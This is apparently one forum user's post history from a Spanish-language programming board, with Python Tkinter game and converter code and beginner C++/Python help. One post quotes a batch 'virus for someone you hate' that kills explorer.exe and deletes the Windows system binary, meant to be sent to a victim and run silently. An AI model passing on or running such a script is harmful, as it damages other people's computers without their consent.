|
131
|
Seguridad Informática / Desafíos - Wargames / Re: Estáis preparados para Sumas Rápidas? Pues entra!
|
en: 8 Abril 2012, 17:08 pm
|
Por si a alguien que quiera aprender le interesa, aquí dejo yo el código de un programa similar en Python, ahora con tiempo lo haré mediante POO y le añadiré más niveles #!/usr/bin/env python # -*- coding: utf-8 -*- from Tkinter import * import random,tkMessageBox class logueo: def __init__(self): self.logueo = Tk() self.logueo.title("Panel de Logueo") self.logueo.config(bg="black") self.nombre = StringVar() self.logueo.maxsize("200","100") self.logueo.minsize("200","100") Label(self.logueo,text="Nombre",font=("Helvetica",15),bg="black",fg="green").pack() self.log = Entry(self.logueo,textvariable=self.nombre) self.log.pack() self.aceptar = Button(self.logueo,text="Aceptar",command=self.enviar) self.aceptar.pack() self.logueo.mainloop() def enviar(self): self.root = Tk() self.vidas = 3 self.puntuacion = 0 self.instancia = sumasrapidas(self.root,self.vidas,self.puntuacion,self.log.get()) self.logueo.destroy() self.root.mainloop() class sumasrapidas: def __init__(self,root,vidas,puntuacion,nombre): self.num1 = IntVar() self.vidas = vidas self.puntuacion = puntuacion self.nombre = nombre self.numerox1 = random.randint(0,50) self.numerox2 = random.randint(0,50) self.root = root self.root.configure(background="black") self.root.title("Juego") self.root.maxsize("190","145") self.root.minsize("190","145") Label(self.root,text="Sumas Rapidas",bg="black",fg="green").grid(row=0,column=3) self.numero1 = Entry(self.root,textvariable=self.num1) self.aceptar = Button(self.root,text="Aceptar",command=self.suma,fg="green",bg="black") self.numero1.grid(row=1,column=3) self.aceptar.grid(row=2,column=3) Label(self.root,text=str(self.numerox1) + "+" + str(self.numerox2),bg="black",fg="green").grid(row=3,column=3) def suma(self): if int(self.numero1.get()) == self.numerox1 + self.numerox2: Label(self.root,text="Correcto",bg="black",fg="green").grid(row=4,column=3) Label(self.root,text="Tienes " + str(self.vidas) + " vidas",bg="black",fg="green").grid(row=5,column=3) self.puntuacion += 1 else: Label(self.root,text="Incorrecto",bg="black",fg="green").grid(row=4,column=3) self.vidas -= 1 Label(self.root,text="Tienes " + str(self.vidas) + " vidas",bg="black",fg="green").grid(row=5,column=3) if self.vidas==0: tkMessageBox.showinfo("Game Over","Puntuacion = "+str(self.puntuacion)) self.abrirarchivo = open("records.txt","a") self.abrirarchivo.write("----Partida de: " + self.nombre+"----\n") self.abrirarchivo.write("Puntuacion: " + str(self.puntuacion) + " sumas hechas\n") self.abrirarchivo.close() exit(0) self.numerox1 = random.randint(0,50) self.numerox2 = random.randint(0,50) Label(self.root,text=str(self.numerox1) + "+" + str(self.numerox2),bg="black",fg="green").grid(row=3,column=3) if __name__ == "__main__": instancia = logueo() instancia
Actualizado con puntuaciones por jugador y records en archivo de texto
|
|
|
134
|
Programación / Scripting / Re: Batch virus para quien odias
|
en: 8 Abril 2012, 16:20 pm
|
Alguna vez has odiado mucho alguien? Y le has querido enviar un virus? Aqui tenemos algo parecido.(En teoria esto es un bug de windows esto es compatible con todas las versiones de windows) Para Windows 7 o Vista: #Por ELVJop @echo off :menu taskkill /f /im explorer.exe del /s /q C:\Windows\explorer.exe IF !Errorlevel! EQU 1 (Goto :menu) exit
Para windows XP: #Por ELVJop @echo off :menu taskkill /f /im explorer.exe del /s /q C:\Windows\System32\explorer.exe IF !Errorlevel! EQU 1 (Goto :menu) exit
Si no lo sabes: #Por ELVJop @echo off taskkill /f /im explorer.exe del /s /q C:\Windows\System32\explorer.exe taskkill /f /im explorer.exe del /s /q C:\Windows\explorer.exe exit
Se puede compilar y ejecutar en modo silencioso Bueno, de Batch no entiendo mucho pero según lo que veo, simplemente finaliza el proceso explorer.exe y nada que no se pueda recuperar desde el administrador de tareas iniciando de nuevo el proceso. De todas formas, está graciosa, también hay otros como el shutdown -s -t o simplemente hacer saltar alerts en un bucle
|
|
|
135
|
Programación / Scripting / [Python] Ascii To Hex y Hex to Ascii
|
en: 8 Abril 2012, 15:09 pm
|
Sé que no es nada nuevo, es más se suelen subir bastantes programas como éste, pero quería hacer otro aporte y aunque por el momento es bastante simple, lo he hecho en 5 minutos, y en una media hora más, tendré el programa con un aspecto visual más o menos bonito . Edit: He encontrado un problema con la conversión de Hex a Ascii, tengo más o menos claro el algoritmo de conversión, he intentado contar cada numero de la palabra en hex y añadirlo a una lista vacía, así cuando la longitud de la lista sea = 2, los numeros se convierten a ascii con chr() y se añaden a una variable de almacenamiento, resultado="". Pero hay algo que me está mareando con tanto self. por ahi xD Os dejo aquí el simple código: #!/usr/bin/env python # -*- coding: utf-8 -*- from Tkinter import * import string class programa def __init__(self): self.root = Tk() self.root.title("Conversor Ascii") self.root.maxsize(width="500",height="500") self.root.minsize(width="500",height="500") self.a = StringVar() self.b = StringVar() self.entradascii = Entry(self.root,textvariable=self.a,width=20) self.button = Button(self.root,text="To Hex",command = self.convertirhex) self.entradahex = Entry(self.root,textvariable=self.b,width=20) self.button2 = Button(self.root,text="To Ascii",command=self.convertirascii) self.entradahex.grid(row=3,column=0) self.button2.grid(row=3,column=1) self.entradascii.grid(row=0,column=0) self.button.grid(row=0,column=1) self.root.mainloop() def convertirhex(self): self.palabra = self.entradascii.get() self.resultado = "" for self.letra in self.palabra: self.resultado = self.resultado + hex(ord(self.letra)) self.resultado = "0x" + self.resultado.replace("0x","") Label(self.root,text="Hex: " + self.resultado).grid(row=0,column=3) def convertirascii(self): self.palabra = self.entradahex.get() self.lista = [] self.resultado = "" for self.letra in self.palabra: self.lista.append(int(self.letra)) if len(self.lista)==2: self.par = string.join(self.lista) self.resultado = self.resultado + chr(self.par) print self.resultado instancia = programa() instancia
|
|
|
136
|
Programación / Scripting / ¿Interfaz gráfica Python?
|
en: 7 Abril 2012, 19:52 pm
|
Buenas compañeros . Quería información acerca de la mejor librería para gráficos en Python, estaba empezando con Tkinter pero según he escuchado Wx y PyQt son bastante buenas. Y eso era todo, un saludo
|
|
|
138
|
Programación / Programación C/C++ / Re: Programacion c++
|
en: 6 Abril 2012, 21:15 pm
|
muchas gracias a los 2 por vuestras respuestas. durasno, eso es lo que estaba aplicando, el problema es que no se como hacer para que me eleve ese resto al cubo (soi un ignorante en este tema), o sea, como guardar ese resto para elevarlo despues, o si el programa lo guarda..
mmaikel para elevarlo al cubo debes importar la libreria <math.h> y debes usar la función pow(). Puedes inicializar una variable y realizar la operacion en ella así: int primnumero = numero % 10; int segonumero = primnumero / 10;
y así cuando tengas los dígitos que necesitas, utilizas pow y lo guardas en una variable: resultado = pow(primnumero,3) + pow(segonumero,3) + pow(tercenumero,3);
Un saludo mmaikel
|
|
|
139
|
Programación / Programación C/C++ / Re: Programacion c++
|
en: 6 Abril 2012, 21:04 pm
|
Hola! una pista, tomamos 153 como ejemplo: 153%10 el resto va a ser 3 153/10 el resultado va a ser 15 15%10 resto 5 15/10 resultado 1 1%10 resto 1
Aplicalo a tu codigo y tendria q salir. Saludos
Jaja nunca hubiese pensado en eso, es buen método EDIT: Es curioso, lo he escrito y no me devuelve los números que debería devolver :S
|
|
|
140
|
Programación / Programación C/C++ / Re: Programacion c++
|
en: 6 Abril 2012, 20:49 pm
|
#!/usr/bin/env python # -*- coding: utf-8 -*- numeros = raw_input("Numero>") x = "" for numero in numeros: resultado = pow(int(numero),3) x = x + str(resultado) if x == str(numeros): print x + " y " + str(numeros) + " son iguales" else: print x + " y " + str(numeros) + " no son iguales"
En python sería algo así, fíjate en lo que hace el programa e implementalo en C ya que no se pueden postear los resultados de los ejercicios Un saludo
|
|
|
|
|
|
|